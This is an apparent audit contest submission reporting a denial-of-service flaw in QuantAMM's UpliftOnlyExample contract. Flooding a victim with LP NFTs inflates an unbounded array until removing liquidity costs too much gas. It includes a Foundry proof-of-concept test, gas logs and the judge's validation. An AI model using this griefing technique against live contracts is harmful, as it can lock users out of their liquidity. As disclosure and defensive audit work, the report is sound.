QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: medium
Valid

Attacker Can Permanently DOS Victim from Managing LP NFTs

mahdirostami

Summary

The function UpliftOnlyExample::afterUpdate does not validate the length of the poolsFeeData[_to] array before appending new entries. This allows attackers to send multiple NFTs to a victim, artificially inflating the poolsFeeData array. Consequently, the victim may face:

  1. Gas Limit Issues: Unable to remove liquidity or transfer their LP NFTs due to excessive gas costs or block gas limit.

  2. Operational Restrictions: Unable to add liquidity if the pool's poolsFeeData length exceeds predefined limits.

Vulnerability Details

Root Cause

The afterUpdate function appends entries to the poolsFeeData array for the recipient (_to) without checking its length. Here's the problematic code:

// actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]); // @audit no length check

An attacker can exploit this by repeatedly transferring NFTs to the victim. This grows the poolsFeeData array to an unmanageable size, making operations like removing liquidity or transferring LP NFTs prohibitively expensive due to gas costs or the block gas limit.

Exploitation Steps

  1. The attacker generates multiple LP NFTs with negligible value.

  2. They transfer these NFTs to the victim, increasing the poolsFeeData array for the victim’s address.

  3. When the victim tries to:

    • Remove liquidity or transfer LP NFTs, the transaction fails due to excessive gas costs.

    • Add liquidity, the transaction fails if poolsFeeData length exceeds protocol-defined limits.

Impact

This vulnerability can result in a permanent denial of service for the victim, rendering their LP NFTs unusable and their liquidity inaccessible.

POC

There are two test functions here, in one of them bob adds liquidty and withdraws it, in the other one alice sends multiple nfts after bobs deposit and then bob tries to remove liquidty. Here, there are two records of gas consumption.

function testDOSTransfer() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
uint256 gasStart = gasleft();
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
console.log(gasStart - gasleft());
vm.stopPrank();
}
​
function testDOSTransfer2() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
​
LPNFT lpNft = upliftOnlyRouter.lpNFT();
vm.startPrank(alice);
uint256 bptAmountDeposit = bptAmount / 1000;
for (uint256 i = 2; i < 1000; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
lpNft.transferFrom(alice, bob, i);
skip(1 days);
}
vm.stopPrank();
vm.startPrank(bob);
uint256 gasStart = gasleft();
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
console.log(gasStart - gasleft());
}

Log:

Compiler run successful!
​
Ran 2 tests for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testDOSTransfer() (gas: 536653)
Logs:
202182
​
[PASS] testDOSTransfer2() (gas: 343922389)
Logs:
8646697
​
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 949.82ms (929.98ms CPU time)

Tools Used

Manual review

Recommendations

  1. Add Length Validation: Implement a maximum allowed length for poolsFeeData to prevent uncontrolled growth.

  2. Authorization for NFT Transfers: Require explicit authorization from the recipient (_to) before accepting LP NFTs from a sender.

Updates

Lead Judging Commences

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_does_not_check_limit_NFT_per_user

Likelihood: Medium/High, anyone can receive an unlimited NFT number but will cost creation of LP tokens and sending them. Impact: Low/Medium, DoS the afterUpdate and addLiquidityProportional but will be mitigable on-chain because a lot of those NFT can be burn easily in onAfterRemoveLiquidity.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.